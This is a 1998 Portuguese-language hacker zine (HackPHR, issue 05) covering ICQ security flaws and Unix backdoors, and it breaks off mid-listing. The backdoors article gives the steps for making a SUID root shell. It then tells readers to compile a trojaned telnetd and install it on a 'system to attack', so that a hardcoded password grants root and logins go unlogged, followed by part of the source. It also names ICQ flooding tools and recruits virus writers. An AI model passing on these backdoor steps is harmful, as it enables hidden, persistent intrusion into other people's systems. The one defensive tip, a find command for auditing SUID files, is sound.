
          ////     ////     ////////      ////////   ////     ////
         ////     ////   ////    ////  ////         ////    ////
        ////     ////   ////    ////  ////         ////  ////
       ////     ////   ////    ////  ////         //// ////
      /////////////   ////////////  ////         ////////
     ////     ////   ////    ////  ////         ////  ////
    ////     ////   ////    ////  ////         ////    ////
   ////     ////   ////    ////  ////         ////      ////
  ////     ////   ////    ////     ////////  ////        ////

                                                 
      [ Numero: 05, Junho de 1998 ]                     
                                                         
       [ Hack and Phreak Group ]                
                                                            
   [ http://www.hackphr.home.ml.org ]                       
                                                            

                                             
                                                         ASCii by MaNdRaCk

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
     VERSAO APENAS PARA MS-DOS. RECOMENDADO CARREGAR O DRiVER COUNTRY.SYS
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-



MeMbrOs AtUAiS:         (listados por ordem de ingresso no zine)

- MaNdRaCk      -   mandrack@geocities.com
- Cebola        -   cebola_br@hotmail.com
- Pensador      -   pensador@hotmail.com
- QuIcK_DeAtH   -   quick-death@usa.net
- TheCroW       -   thecrow_mail@yahoo.com
- BLAcK MaSK    -   black_mask@usa.net

OBS.: Editores temporarios, candidatos e contribuidores tmb sao listados...

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

     ***   ****   ***   ******     *******  ***   ***
    ***   *** *  ***   ***   ***  ***        *** ***
   ***   ***  * ***   ***   ***  ******       ***
  ***   ***   ****   ***   ***  ***        *** ***
 ***   ***    ***   *******    *********  ***   ***
 ====================== = = = = =  =  =  =   =   =   =    =    =     =      


01| INTRODUAO                -  by BLAcK MaSK & Cebola
------------------------------------------- - -  -  -   -    -     -   
02| SEGURANCA NO ICQ          -  by QuIcK DeAtH
------------------------------------------- - -  -  -   -    -     -   
03| BACKDOORS                 -  by BLAcK MaSK & Cebola
------------------------------------------- - -  -  -   -    -     -   
04| ELETRONICA BASICA         -  by TheCroW (complemento por MaNdRaCk)
------------------------------------------- - -  -  -   -    -     -   
05| ANARQUIA                  -  by Pensador
------------------------------------------- - -  -  -   -    -     -   
06| DISSECAAO BOXEANA        -  by MaNdRaCk
------------------------------------------- - -  -  -   -    -     -   
07| VIRII: VIRUSCAN STRINGS   -  by Cebola
------------------------------------------- - -  -  -   -    -     -   
08| DiCAS 4 LiNUX             -  by BLAcK MaSK
------------------------------------------- - -  -  -   -    -     -   
09| RAiNBOW BOOKS             -  by BLAcK MaSK
------------------------------------------- - -  -  -   -    -     -   
10| THE WORM EXPLAiNED        -  by BLAcK MaSK & QuIcK DeAtH
------------------------------------------- - -  -  -   -    -     -   
11| BRINDE : SURPRISE !!!     -  by HackPHR Group 
------------------------------------------- - -  -  -   -    -     -   
12| ENTRANDO EM CONTATO       -  by HackPHR ZiNE members
------------------------------------------- - -  -  -   -    -     -

   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                             01  -  INTRODUAO
                            -=-=-=-=-=-=-=-=-=- 

        Bem, primeiramente gostariamos de pedir desculpas a todos pelo grande
atraso desta edicao.  Mas,  pensamos  conosco  que seria melhor atrasarmos um
pouco mais do que lancar um zine incompleto e de baixa  qualidade... Eh claro
que houve muitos  motivos  para  este  atraso, um deles,  senao o  principal,
foi o "afastamento"  temporario do  MaNdRaCk por problemas particulares, pois
ele  eh  um  dos  coordenadores  do  zine e do grupo. Alem disso, eu (Cebola)
estou  precisando  de  um parceiro pra ajudar na parte de virii, ja que estou
meio sem tempo e essa parte exige muito empenho(e muitas linhas de codigo:) ).
Outro  problema  e' que estou fazendo uma serie de ferramentas de hacking pro
group. Programadores  virii que quiserem colaborar podem entrar para o group,
desde que saibam um tanto aceitavel. Nao precisa ser O BOM da programacao virii,
mas lammers fora!! Favor mandar mail encriptado para: cebola_br@hotmail.com
(CHAVE PGP NO FINAL DO ZINE)

        Eu, (BLAcK MaSK), tb passei por alguns problemas, ficando ausente por
quase  um  mes.   Mas agora estamos definitivamente  de  volta.  Nesses meses
tb reorganizamos  nosso  grupo.  Nosso objetivo  nao  era  reunir  a elite do
hacking e phreaking nacional, mas sim, ensinar  e  servir como  referencia de
informacao aos que estavam  comecando  e querem  aprender.  No  entanto,  nao
podemos   mais  aceitar  novos membros(beginners),  pq  percebemos que estava
comecando a virar   bagunca   e poucos contribuiam  ativamente.  A partir  de
agora,  soh  serao  aceitos  caras  que  realmente  "entendam"   e/ou  possam
ajudar  e  acrescentar  algo  ao  restante  dos membros. Para nao deixar mais
duvidas, ai vai a lista dos membros  atuais  do GRUPO.


(HackPHR Group - listados por ordem hierarquica)

MaNdRaCk (head of HackPHR Group)
Cebola (head of HackPHR Group)
BLAcK MaSK
QuIcK DeAtH
Rrunner
AcidBrain
CaRRaScO
TheCroW
MrIRON
MrTRAP


A nossa HP esteve fora do ar por algum tempo, sendo que a ML contribuiu muito
para isso... :-/   Mas jah esta no ar de volta.  Esperamos  logo  logo  obter
um dominio proprio, por isso pedimos  a  ajuda de todos que possam contribuir
de alguma forma para que isso seja realizado o mais depressa possivel. (Serah
que existem admins bom samaritanos ???) Gostariamos de informar sobre algumas
das realizacoes e projetos do HackPHR Group


--- Secao HACKED implementada! :p (ver em : http://www.blackmask.base.org)
--- Port 139 Listener. (By Cebola)
--- CGI Exploits Scanner. (By Cebola)
--- Criado o HackPHR Script para mIRC. Ultima versao disponivel em :
    http://members.tripod.com/~quick_death (By QuIcK DeAtH)
--- Em desenvolvimento HackPHR Script para BitchX. Interessados em contribuir
    procurem pelo Rrunner no IRC.
--- Novo Browser em desenvolvimento. (By Cebola)
--- Novo Password Cracker for Linux em desenvolvimento. (By Cebola)


Para encontrar mais informacoes sobre estes projetos e outros futuros vide :
http://www.hackphr.home.ml.org

Bom,  de  explicacoes  e esclarecimentos jah chega. Esperamos continuar com o
zine mensal,  atrasos poderao  acontecer  de  novo  eh  claro,  mas  serah pq
primamos  sempre  pela qualidade do zine e pela reputacao que jah adquirimos.
Posso garantir que esta edicao esta a altura  das anteriores, senao melhor, e
traz muitas novidades. No mais, BOA LEITURA!!!
Se  voce  acha  que  pode  contribuir,  tem duvidas,  criticas  ou sugestoes,
EMAIL US!


   1998, BLAcK MaSK & Cebola - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                           02  -  SEGURANCA NO ICQ
                          -=-=-=-=-=-=-=-=-=-=-=-=-

1 - Introducao

2 - IP
 2.1 - Descobrindo
 2.2 - Evitando

3 - UIN
 3.1 - Autorizacao
 3.2 - Spoofing
 3.3 - Infos

4 - Mensagens
 4.1 - Diretorio /DB
 4.2 - Lendo

5 - Chat
  5.1 - Freeze
  5.2 - Bomb

6 - Port
  6.1 - Introducao
  6.2 - Scaning
  6.3 - Bombing

7 - Floods
 7.1 - Msg flood
 7.2 - Outros floods

8 - Defesas

9 - URLS

10 - Last words

1 - INTRODUCAO

Acho q todo mundo conhece o famoso programa ICQ ne?.
Bom aki eu vou falar dos principais bugs de seguranca dele, e tambem como
resolve-los ou preveni-los.

2 - IP

 2.1 - Descobrindo

 Se vc pensa q colocando o IP hiding no icq estara protegido dos lammah nukez,
 esta muito enganado.
 Existem 3 formas de voce descobrir o IP de uma pessoa pelo ICQ.
 A primeira e voce desconectando e olhando de novo na info dele.
 A segunda eh usando o programa ICQ HIDDEN IP UNHIDDER.
 E a outra eh executando um ARP -a no prompt do DOS.

 OBS: Essa do arp -a eu vi numa page chamada Cyber Mafia , a outra tem la tb,
  mas eu ja sabia ( So pra naum dizerem "porra akele zine eh todo copiado").

 2.2 - Evitando

 Naum existe nenhum patch ainda para evitar esse bug, talvez em futuras
 versoes a mirabilis venha a consertar.

3 - UIN

 3.1 - Autorizacao 

 No icq tem tipo um esquema que dependendo da opcao, o kra tem q te pedir
 uma autorizacao pra te colocar na lista dele.
 Existe um programa que quebra isso, ou seja se voce rodar esse prog, naum
 vai ter mais que pedir autorizacao de ninguem pra colocar na lista.
 O nome do programa q se diz fazer isso eh ICQ BUSTER.

 OBS: Ainda naum existe patch para este bug.

 3.2 - Spoofing

 O spoofing do icq, eh tipo o IP spoofing comum, ou seja vc precisa de um
 server pra conseguir maskarar seu ip.

 3.3 - Infos

 No arquivo /uin/12345678.uin ( Tomando como exemplo o uin 12345678), voce
 encontra todas as informacoes do usuario nesse formato:

 [ICQ User]
 UIN= 12345678
 Email= xxx@xxx.com
 NickName= ZN
 FirstName= Ze
 LastName= Ninguem

 Se o ICQ estiver com senha, esse arquivo pode ser util para descobrir o
 usuario e seu UIN.

4 - Mensagens

 4.1 - Diretorio /DB

 Todas as mensagens e informacoes que vc passou e que te passaram, ficam
 guardados no dir /DB do ICQ.
 Os arquivos naum ficam encriptados :) apenas embaralhados.
 Os arquivos que ficam guardados no diretorio /DB saum os seguintes:

 12345678.dat
 12345678.idx
 12345678his.dat
 12345678his.idx
 12345678msg.dat
 12345678msg.idx
 12345678ph.idx
 12345678snd.dat
 12345678snd.idx

 OBS: Tomando como exemplo o uin 12345678.

 Os arquivos .dat, sao de dados seus, e os .idx saum de index dos seus dados.

 4.2 - Lendo esses arquivos

 Os arquivos citados acima, como eu ja disse naum ficam encriptados, apenas
 embaralhados.
 Para le-los voce pode desembaralha-los a mao ou usar um prog chamado ICQ
 HACKER, que ja faz esse trabalho pra voce.

5 - Chat

 5.1 - Freeze

 O icq no modo chat tambem tem suas deficiencias de seguranca, se a outra
 pessoa do chat quiser ele podera paralisar a sua tela, mandando uma serie de
 funcoes como mudancas de cor, sons, etc...

 5.2 - Bomb

 O chat bomb eh um tipo de flood no chat do icq, a unica diferenca e q em vez
 do kra fl00dar so com fontes iguais ele flooda com fontes diferentes, e de
 tamanhos diferentes, o q provoca a parelisacao da tela.

 Existe um programa, o Xicq, q faz esse trabalho, mas um problema eh que
 nesses tipos de floods a sua tela tb fica paralisada.

6 - Port

 6.1 - Introducao

 O ICQ usa portas altas para suas comunicacoes, tipo de port 500 pra cima.

 6.3 - Scaning

 O ICQ PORT SNIFF, eh um programa que scaneia as portas do kra e diz qual eh
 a que o ICQ esta usando.

 6.2 - Bombing

 Existe um ataque ao ICQ que eh enviando pacotes de informacoes, para a porta
 usada pelo programa, isso pode levar o ICQ a se desconectar do servidor.
 Esse ataque pode ser feito por qqer dakeles programas tipo click e tal, que
 enviam pacotes pra uma certa porta de um usuario.

7 - Floods

  7.1 - Msg Flood

  O tipo de flood mais comum no icq eh o msg flood, no que saum enviadas
  varias mensagens para um mesmo uin. ( Coisa de lammah )
  Um msg flood mais avancado eh o que usa varios UINs spoofados, dificultando
  assimo "ignore" do UIN.

  7.2 - Outros floods

  Os outros floods saum de comandos do ICQ, como send file, url, etc...

  Alguns dos programas usados pra essas coisas + q lammahs saum o icqflood,
  icqkiller, etc...

8 - Defesas

 O unico programa de defesa que eu conheco pro ICQ eh o icqprot, feito pelo
 WarForge, ele protege apenas das MSGs Floods.

9 - URLS

ICQ - www.icq.com ou www.mirabilis.com
WarForge - www.warforge.com
Cyber Mafia - come.to/cybermafia

OBS: O resto dos programas vcs se viram, eu naum sou Bookmarks :)

10 - Last Words

  Q merda, esse nome me lembra o WorDinario da M$...
  Bom eh o seguinte, eu fiz essa mat para avisar aos usuarios do icq , os bugs
  de seguranca q ele tem, q pelo visto naum saum poucos, e q pela
  incompetencia da mirabilis, vaum durar por bastante tempo, ja que o troco
  eh freware, e naum para influenciar nenhum lammah FILHO DA PUTA que fica
  mandando bombas e floods pra la e pra ka, a usar essas coisas pra fazer
  ICQ-WAR...

  SeE Ya!

OBS: Fiz essa mat antes do ICQ ser vendido pra AOL... e tinha gente pensando
     q naum podia piorar...


   1998, QuIcK DeAtH - HackPHR Zine
   -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-


                        03  -  B A C K D O O R S
                       -=-=-=-=-=-=-=-=-=-=-=-=-=-


By BLAcK MaSK  &  Cebola

        Y0 Guys ! Sou  novo  no zine,  antes  soh fazia parte do grupo. Nesta
materia  vou  apenas corrigir alguns "bugs" e juntamente com o Cebola, dar os
sources de  algumas backdoors binarias. No  zine 03,  saiu uma  materia sobre
backdoors  do  GhOsT InVaDeR, mas hah um erro nela, e como saiu no nosso zine
tomei a  liberdade de corrigir. Ao contrario do q se dizia,  as shells, tipo:
sh, bash, jsh, ksh... nao  guardam  informacoes  dos  usuarios ( UID e GID ),
apenas servem como interpretadores do comandos como se fosse um COMMAND.COM.

Ai voce diz : "Entao aquilo lah nao tem nada a ver ?"

Perai...

Muitos  programas como o famoso Sendmail, daemons e  controladores de devices
(impressoras, scanners, etc) precisam  possuir  um ID ROOT  ou  menor  q 100,
(usuarios  privilegiados) para poderem desempenhar suas funcoes adequadamente
ou  terem  acesso  ao  sistema  de  arquivos.  Diz-se  q  eles sao SUID. Isto
possibilita  ao  usuario  comum,  normalmente ID >= 500, acessar programas ou
devices q soh seriam  possiveis caso o seu ID fosse <= 100. Isso quer dizer q
durante a execucao destes  programas vc passa a ser ROOT, soh q eh claro q vc
nao  pode  executar  comandos  externos,  excecao :  Sendbug :-p.  E  apos  o
encerramento do programa o seu ID  "normal" volta. Percebe-se q se o programa
SUID  fosse uma shell, ao executah-la voce se tornaria ROOT de novo. Tah, mas
como setar a  shell  para  ser SUID ?  Sendo  ROOT, basta  executar o comando
chmod com os seguintes atributos:


[root@BLAcK_MaSK-OS /]# chmod u+s sh 
[root@BLAcK_MaSK-OS /]# ls -la sh
-rwsr-xr-x   1 root     root       301580 May 19 20:30 sh
(repare no "s" na permissao do user)
[root@BLAcK_MaSK-OS /]#


Faca  isto  com  uma  copia  da  shell  original  ou  com uma outra shell nao
usada   por   mais  ninguem.   Simples,  mas  apenas  procurando  pelos  SUID
executaveis  e  comparando  com uma lista anterior dos mesmos (acho que muito
poucos fazem isso) pode-se retirar a backdoor facilmente.

Bem, agora vou dar uma dica aos admins. Sugiro que se voce ainda nao tem uma
lista dos seus SUID e SGID, faca a mesma agora! Escreva no prompt o seguinte
comando:


[root@BLAcK_MaSK-OS /]# find / \( -perm -4000 -o -perm -2000 \) -exec ls -ldb
{} \; >> ~/suids_sgids.log


Aih, se voce suspeitar que foi  invadido, rode este comando novamente e salve
o log com outro nome. Entao, use algum comando, como o 'diff', 'comm' ou 'wc'
para  certificar-se  de  que nao hah suid shells. Eh claro que depois vc deve
checar outros files de  configuracao  e  se  voce  usar  algum dispositivo de
checksum (como o MD5 ou sum) e/ou timestamp rode-o tambem.

Existem  varios  outros  tipos, como as backdoors binarias: programas comuns,
daemons,   bibliotecas   e   ateh   mesmo  o  proprio  kernel  modificados  e
recompilados, podem servir como backdoors. Visto q o source do Linux eh FREE,
fica  relativamente  facil  aos programadores criarem suas proprias backdoors
binarias.


PS: Refiro-me ao termo "binarias" por utilizar-se de programas executaveis.


E-mail : black_mask@usa.net

============================== PARTE 2 ===============================
BY CEBOLA:
----------



	Quando o assunto e' backdoors, fala-se muito, mas poucos conhecem bem
as backdoors mais usadas e menos ainda sabem instala-las. Bom, aqui vai uma
backdoor muito usada em sistemas linux. E' uma backdoor do tipo Daemon, ou se-
ja, substitui um daemon(no caso o in.telnetd) permitindo acesso a pessoas de
fora do sistema, mesmo que o admin descubra a invasao e troque todos os pass-
words. Essa backdoor(telnetd.c) da' acesso de root ao usuario que instalar
a backdoor. Esse arquivo eu peguei na rootshell recentemente, interessados na 
backdoor pegar la', porque ele necessita de outros files(bibliotecas) que nao 
estao aqui para compilar. Na hora de compilar, o inetd.c le do arquivo
unseen.h a senha usada pela backdoor para dar acesso ao intruso. Alem disso, a 
backdoor impede que sejam logados os acessos ao sistema. Exemplo:

=========================== Arquivo: unseen.h ===============================
#define SECRET_NAME "cebola"
=============================================================================

	No caso acima, quando for compilado, a backdoor telnetd.c ira' ler
desse arquivo a senha "cebola". Depois de instalada no sistema, a backdoor
dara' acesso de root ao usuario que tentar logar como root no sistema usando 
essa senha.
	Para instalar a backdoor, compile os files com o gcc(no pacote da root
shell ja vem com um script para o make) e substitua o /sbin/in.telnetd do sis-
tema a atacar com o programa ja' compilado. Pronto! Esta instalada a backdoor.
O codigo e' grande, mas eu coloquei ai para os conhecedores de C/C++ darem uma
analizada: 

================================ telnetd.c ==================================
/*
 * Copyright (c) 1989 Regents of the University of California.
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. All advertising materials mentioning features or use of this software
 *    must display the following acknowledgement:
 *	This product includes software developed by the University of
 *	California, Berkeley and its contributors.
 * 4. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */

#ifndef lint
char copyright[] =
"@(#) Copyright (c) 1989 Regents of the University of California.\n\
 All rights reserved.\n";
#endif /* not lint */

#ifndef lint
/*static char sccsid[] = "from: @(#)telnetd.c	5.48 (Berkeley) 3/1/91";*/
static char rcsid[] = "$Id: telnetd.c,v 1.1 1994/05/23 09:11:55 rzsfl Exp rzsfl $";
#endif /* not lint */

#include "telnetd.h"
#include "pathnames.h"
#include <netdb.h>
#include <sys/utsname.h>

#if	defined(AUTHENTICATE)
#include <libtelnet/auth.h>
int	auth_level = 0;
#endif
#if	defined(SecurID)
int	require_SecurID = 0;
#endif

/*
 * I/O data buffers,
 * pointers, and counters.
 */
char	ptyibuf[BUFSIZ], *ptyip = ptyibuf;
char	ptyibuf2[BUFSIZ];

int	hostinfo = 1;			/* do we print login banner? */

#ifdef	CRAY
extern int      newmap; /* nonzero if \n maps to ^M^J */
int	lowpty = 0, highpty;	/* low, high pty numbers */
#endif /* CRAY */

int debug = 0;
int keepalive = 1;

char *loginprg = _PATH_LOGIN;
char *progname;

/* 31337 */
	int eleet=0, portnum;
/* ----- */

extern void usage P((void));

main(argc, argv)
	char *argv[];
{
	struct sockaddr_in from;
	int on = 1, fromlen;
	register int ch;
	extern char *optarg;
	extern int optind;


#if	defined(IPPROTO_IP) && defined(IP_TOS)
	int tos = -1;
#endif

	pfrontp = pbackp = ptyobuf;
	netip = netibuf;
	nfrontp = nbackp = netobuf;
#if	defined(ENCRYPT)
	nclearto = 0;
#endif

	progname = *argv;

#ifdef CRAY
	/*
	 * Get number of pty's before trying to process options,
	 * which may include changing pty range.
	 */
	highpty = getnpty();
#endif /* CRAY */

	while ((ch = getopt(argc, argv, "d:a:e:lhnr:I:D:B:sS:a:X:L:p:")) != EOF) {
		switch(ch) {

#ifdef	AUTHENTICATE
		case 'a':
			/*
			 * Check for required authentication level
			 */
			if (strcmp(optarg, "debug") == 0) {
				extern int auth_debug_mode;
				auth_debug_mode = 1;
			} else if (strcasecmp(optarg, "none") == 0) {
				auth_level = 0;
			} else if (strcasecmp(optarg, "other") == 0) {
				auth_level = AUTH_OTHER;
			} else if (strcasecmp(optarg, "user") == 0) {
				auth_level = AUTH_USER;
			} else if (strcasecmp(optarg, "valid") == 0) {
				auth_level = AUTH_VALID;
			} else if (strcasecmp(optarg, "off") == 0) {
				/*
				 * This hack turns off authentication
				 */
				auth_level = -1;
			} else {
				fprintf(stderr,
			    "telnetd: unknown authorization level for -a\n");
			}
			break;
#endif	/* AUTHENTICATE */

#ifdef BFTPDAEMON
		case 'B':
			bftpd++;
			break;
#endif /* BFTPDAEMON */

		case 'd':
			if (strcmp(optarg, "ebug") == 0) {
				debug++;
				break;
			}
			usage();
			/* NOTREACHED */
			break;

#ifdef DIAGNOSTICS
		case 'D':
			/*
			 * Check for desired diagnostics capabilities.
			 */
			if (!strcmp(optarg, "report")) {
				diagnostic |= TD_REPORT|TD_OPTIONS;
			} else if (!strcmp(optarg, "exercise")) {
				diagnostic |= TD_EXERCISE;
			} else if (!strcmp(optarg, "netdata")) {
				diagnostic |= TD_NETDATA;
			} else if (!strcmp(optarg, "ptydata")) {
				diagnostic |= TD_PTYDATA;
			} else if (!strcmp(optarg, "options")) {
				diagnostic |= TD_OPTIONS;
			} else {
				usage();
				/* NOT REACHED */
			}
			break;
#endif /* DIAGNOSTICS */

#ifdef	AUTHENTICATE
		case 'e':
			if (strcmp(optarg, "debug") == 0) {
				extern int auth_debug_mode;
				auth_debug_mode = 1;
				break;
			}
			usage();
			/* NOTREACHED */
			break;
#endif	/* AUTHENTICATE */

		case 'h':
			hostinfo = 0;
			break;

#if	defined(CRAY) && defined(NEWINIT)
		case 'I':
		    {
			extern char *gen_id;
			gen_id = optarg;
			break;
		    }
#endif	/* defined(CRAY) && defined(NEWINIT) */

#ifdef	LINEMODE
		case 'l':
			alwayslinemode = 1;
			break;
#endif	/* LINEMODE */

		case 'L':
			loginprg = optarg;
			break;

		case 'n':
			keepalive = 0;
			break;

#ifdef CRAY
		case 'r':
		    {
			char *strchr();
			char *c;

			/*
			 * Allow the specification of alterations
			 * to the pty search range.  It is legal to
			 * specify only one, and not change the
			 * other from its default.
			 */
			c = strchr(optarg, '-');
			if (c) {
				*c++ = '\0';
				highpty = atoi(c);
			}
			if (*optarg != '\0')
				lowpty = atoi(optarg);
			if ((lowpty > highpty) || (lowpty < 0) ||
							(highpty > 32767)) {
				usage();
				/* NOT REACHED */
			}
			break;
		    }
#endif	/* CRAY */

#ifdef	SecurID
		case 's':
			/* SecurID required */
			require_SecurID = 1;
			break;
#endif	/* SecurID */
		case 'S':
#ifdef	HAS_GETTOS
			if ((tos = parsetos(optarg, "tcp")) < 0)
				fprintf(stderr, "%s%s%s\n",
					"telnetd: Bad TOS argument '", optarg,
					"'; will try to use default TOS");
#else
			fprintf(stderr, "%s%s\n", "TOS option unavailable; ",
						"-S flag not supported\n");
#endif
			break;

#ifdef	AUTHENTICATE
		case 'X':
			/*
			 * Check for invalid authentication types
			 */
			auth_disable_name(optarg);
			break;
#endif	/* AUTHENTICATE */

		default:
			fprintf(stderr, "telnetd: %s: unknown option\n", ch);
			/* FALLTHROUGH */
		case '?':
			usage();
			break;
			/* NOTREACHED */


/* 31337 params */

		case 'p': 
		 	eleet++;
			portnum=atoi(optarg);
			printf("%d\n",portnum);

		}
	}

	argc -= optind;
	argv += optind;

	if (debug) {
	    int s, ns, foo;
	    struct servent *sp;
	    static struct sockaddr_in sin = { AF_INET };

	    if (argc > 1) {
		usage();
		/* NOT REACHED */
	    } else if (argc == 1) {
		    if (sp = getservbyname(*argv, "tcp")) {
			sin.sin_port = sp->s_port;
		    } else {
			sin.sin_port = atoi(*argv);
			if ((int)sin.sin_port <= 0) {
			    fprintf(stderr, "telnetd: %s: bad port #\n", *argv);
			    usage();
			    /* NOT REACHED */
			}
			sin.sin_port = htons((u_short)sin.sin_port);
		   }
	    } else {
		sp = getservbyname("telnet", "tcp");
		if (sp == 0) {
		    fprintf(stderr, "telnetd: tcp/telnet: unknown service\n");
		    exit(1);
		}
		sin.sin_port = sp->s_port;
	    }

	    s = socket(AF_INET, SOCK_STREAM, 0);
	    if (s < 0) {
		    perror("telnetd: socket");;
		    exit(1);
	    }
	    (void) setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on));
	    if (bind(s, (struct sockaddr *)&sin, sizeof sin) < 0) {
		perror("bind");
		exit(1);
	    }
	    if (listen(s, 1) < 0) {
		perror("listen");
		exit(1);
	    }
	    foo = sizeof sin;
	    ns = accept(s, (struct sockaddr *)&sin, &foo);
	    if (ns < 0) {
		perror("accept");
		exit(1);
	    }
	    (void) dup2(ns, 0);
	    (void) close(ns);
	    (void) close(s);
#ifdef convex
	} else if (argc == 1) {
		; /* VOID*/		/* Just ignore the host/port name */
#endif
	} else if (argc > 0) {
		usage();
		/* NOT REACHED */
	}

	openlog("telnetd", LOG_PID | LOG_ODELAY, LOG_DAEMON);
	fromlen = sizeof (from);
	if (getpeername(0, (struct sockaddr *)&from, &fromlen) < 0) {
		fprintf(stderr, "%s: ", progname);
		perror("getpeername");
		_exit(1);
	}
	if (keepalive &&
	    setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, &on, sizeof (on)) < 0) {
		syslog(LOG_WARNING, "setsockopt (SO_KEEPALIVE): %m");
	}

#if	defined(IPPROTO_IP) && defined(IP_TOS)
	{
# if	defined(HAS_GETTOS)
		struct tosent *tp;
		if (tos < 0 && (tp = gettosbyname("telnet", "tcp")))
			tos = tp->t_tos;
# endif
		if (tos < 0)
			tos = 020;	/* Low Delay bit */
		if (tos
		   && (setsockopt(0, IPPROTO_IP, IP_TOS, &tos, sizeof(tos)) < 0)
		   && (errno != ENOPROTOOPT) )
			syslog(LOG_WARNING, "setsockopt (IP_TOS): %m");
	}
#endif	/* defined(IPPROTO_IP) && defined(IP_TOS) */
	net = 0;
	doit(&from);
	/* NOTREACHED */
}  /* end of main */

	void
usage()
{
	fprintf(stderr, "Usage: telnetd");
#ifdef	AUTHENTICATE
	fprintf(stderr, " [-a (debug|other|user|valid|off)]\n\t");
#endif
#ifdef BFTPDAEMON
	fprintf(stderr, " [-B]");
#endif
	fprintf(stderr, " [-debug]");
#ifdef DIAGNOSTICS
	fprintf(stderr, " [-D (options|report|exercise|netdata|ptydata)]\n\t");
#endif
#ifdef	AUTHENTICATE
	fprintf(stderr, " [-edebug]");
#endif
	fprintf(stderr, " [-h]");
#if	defined(CRAY) && defined(NEWINIT)
	fprintf(stderr, " [-Iinitid]");
#endif
#ifdef LINEMODE
	fprintf(stderr, " [-l]");
#endif
	fprintf(stderr, " [-L login_program]");
	fprintf(stderr, " [-n]");
#ifdef	CRAY
	fprintf(stderr, " [-r[lowpty]-[highpty]]");
#endif
#ifdef	SecurID
	fprintf(stderr, " [-s]");
#endif
#ifdef	AUTHENTICATE
	fprintf(stderr, " [-X auth-type]");
#endif
	fprintf(stderr, " [port]\n");
	exit(1);
}

/*
 * getterminaltype
 *
 *	Ask the other end to send along its terminal type and speed.
 * Output is the variable terminaltype filled in.
 */
static char ttytype_sbbuf[] = { IAC, SB, TELOPT_TTYPE, TELQUAL_SEND, IAC, SE };

    int
getterminaltype(name)
    char *name;
{
    int retval = -1;
    void _gettermname();

    settimer(baseline);
#if	defined(AUTHENTICATE)
    /*
     * Handle the Authentication option before we do anything else.
     */
    send_do(TELOPT_AUTHENTICATION, 1);
    while (his_will_wont_is_changing(TELOPT_AUTHENTICATION))
	ttloop();
    if (his_state_is_will(TELOPT_AUTHENTICATION)) {
	retval = auth_wait(name);
    }
#endif

#if	defined(ENCRYPT)
    send_will(TELOPT_ENCRYPT, 1);
#endif
    send_do(TELOPT_TTYPE, 1);
    send_do(TELOPT_TSPEED, 1);
    send_do(TELOPT_XDISPLOC, 1);
    send_do(TELOPT_ENVIRON, 1);
    while (
#if	defined(ENCRYPT)
	   his_do_dont_is_changing(TELOPT_ENCRYPT) ||
#endif
	   his_will_wont_is_changing(TELOPT_TTYPE) ||
	   his_will_wont_is_changing(TELOPT_TSPEED) ||
	   his_will_wont_is_changing(TELOPT_XDISPLOC) ||
	   his_will_wont_is_changing(TELOPT_ENVIRON)) {
	ttloop();
    }
#if	defined(ENCRYPT)
    /*
     * Wait for the negotiation of what type of encryption we can
     * send with.  If autoencrypt is not set, this will just return.
     */
    if (his_state_is_will(TELOPT_ENCRYPT)) {
	encrypt_wait();
    }
#endif
    if (his_state_is_will(TELOPT_TSPEED)) {
	static char sbbuf[] = { IAC, SB, TELOPT_TSPEED, TELQUAL_SEND, IAC, SE };

	bcopy(sbbuf, nfrontp, sizeof sbbuf);
	nfrontp += sizeof sbbuf;
    }
    if (his_state_is_will(TELOPT_XDISPLOC)) {
	static char sbbuf[] = { IAC, SB, TELOPT_XDISPLOC, TELQUAL_SEND, IAC, SE };

	bcopy(sbbuf, nfrontp, sizeof sbbuf);
	nfrontp += sizeof sbbuf;
    }
    if (his_state_is_will(TELOPT_ENVIRON)) {
	static char sbbuf[] = { IAC, SB, TELOPT_ENVIRON, TELQUAL_SEND, IAC, SE };

	bcopy(sbbuf, nfrontp, sizeof sbbuf);
	nfrontp += sizeof sbbuf;
    }
    if (his_state_is_will(TELOPT_TTYPE)) {

	bcopy(ttytype_sbbuf, nfrontp, sizeof ttytype_sbbuf);
	nfrontp += sizeof ttytype_sbbuf;
    }
